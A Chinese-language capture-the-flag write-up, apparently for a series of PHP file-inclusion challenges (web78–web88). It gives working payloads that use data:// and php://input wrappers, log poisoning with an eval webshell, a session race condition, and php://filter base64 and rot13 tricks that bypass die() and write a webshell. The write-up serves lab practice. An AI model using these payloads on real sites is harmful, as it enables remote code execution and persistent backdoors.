web78
开启容器
人畜无害的前端
伪协议
data 协议可以命令执行
/?file=data://text/plain/,<?php system("tac /f*");?>
/?file=data://text/plain,<?php%20system('ls');?>
/?file=data://text/plain,<?php%20system('tac flag.php');?>
web79
开启容器
会替换php
为???
不能直接用flag.php
还有<?php
标签
需要用短标签代替
?file=data://text/plain,<?=%20system('tac fla*');?>
这里罗列下php短标签
1 | echo '123'; #前提是开启配置参数short_open_tags=on |
这里还可以用/?file=data:text/plain,<?pHp system('tac fla*');?>
web80
开启容器
data
协议也无法使用
我们使用 pHp://input ,沿用上一题的 payload:
1 | ?file=pHp://input |
POST 写入:
1 | system('ls') |
得到 flag
官方 wp 用日志
/?file=/var/log/nginx/access.log
可以用 User-Agent 注入一句话木马
<?php @eval($_POST['attack']);?>
得到 flag
web81
开启容器
php
、data
、:
被过滤
伪协议废了,用上一题的日志文件包含 getshell
蚁剑链接
web82
开启容器
.也被过滤
日志也无法访问
这里用脚本
1 | import io |
原理
条件竞争。
例如,当打开一个文件时,就无法删除该文件。
所以,只要在上传文件的瞬间访问它,服务器来不及执行删除操作,就无法删除该文件。
web83
开启容器
加了两个函数:
1 | session_unset(): |
但条件竞争使用的是上传那一瞬间创建的 session,所以不影响。
依旧使用 web82 的脚本
web84
开启容器
system(rm -rf /tmp/*);
因为 session.upload_progress.cleanup = on
会清空对应 session 文件中的内容,所以加上删除对竞争的影响不大。
依旧使用 web82 的脚本。
web85
开启容器
增加内容过滤,如果有<
就 die,不影响竞争。
依旧使用 web82 的脚本。
web86
开启容器
dirname(__FILE__)
:表示当前文件的绝对路径。set_include_path()
:用来设置 include 的路径,即 include() 可以不提供文件的完整路径。
include 文件时,当包含路径既不是相对路径,也不是绝对路径时,会先查找 include_path 所设置的目录。
web82 脚本里用的是完整路径,不影响竞争。
继续用脚本
web87
除了关键词的过滤,新增 file_put_contents 函数,将会往 $file 里写入 <?php die('大佬别秀了');?>
和我们 post 传入的 $content 内容。
由于 $content 参数可控,因此我们可以写入恶意的 php 代码或者一句话木马,但是 <?php die('大佬别秀了');?>
这段 PHP 代码它会立即终止脚本执行并输出消息 “大佬别秀了”,因此我们还需要绕过这个 die() 函数。
绕过死亡 die
题目中 $content 被加上了 <?php die('大佬别秀了');?>
,我们可以使用 php://filter/write=convert.base64-decode
先对其进行解码,在解码过程中,字符 <、?、空格、(、’、)、;、>,这些字符不符合 base64 编码的字符范围都将先被移除,最终剩下的用于解码的字符只有 phpdie 和我们 post 传入的内容。
php://filter/write=convert.base64-decode/resource=1.php
因为对上面这段代码进行两次 url 编码,编码后,得到的结果如下
/?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
对所有字符进行编码
同时,用 post 进行传参 content
1 | eval($_GET['hack']); @ |
然后对 content 内容进行 base64 加密
由于 Base64 解码是以 4 个字符为一组进行的,这里移除后只剩下 6 个字符,因此我们随便加两个合法字符补全,让其 base64 解码成功,后面再继续传入经过 base64 编码的 payload,也可以被正常解码。
太细了!!
木马注入
第二种解法,针对绕过死亡 die,可以直接使用 rot
这里编码采取凯撒 13 来操作(rot13 再操作一次为本身)
使得不会被认定为 php 代码,绕过死亡 die
<?php die('大佬别秀了');?>
经过 rot13 编码会变成 <?cuc qrv(); ?>
,如果 php 未开启短标签,则不会认识这段代码,也就不会执行。
file 传入 php://filter/write=string.rot13/resource=sh.php
两次 url 编码:
1 | ?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%33%25%36%38%25%32%65%25%37%30%25%36%38%25%37%30 |
将一句话木马进行 rot13 解码后传入
1 | eval($_GET['hack']); @ |
<?cuc @riny($_TRG['unpx']);?>
web88
开启容器
这关我们还是继续用伪协议
<?php system('tac fl0g.php'); ?>
对这段代码进行编码得到如下代码
1 | ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTsgPz4 |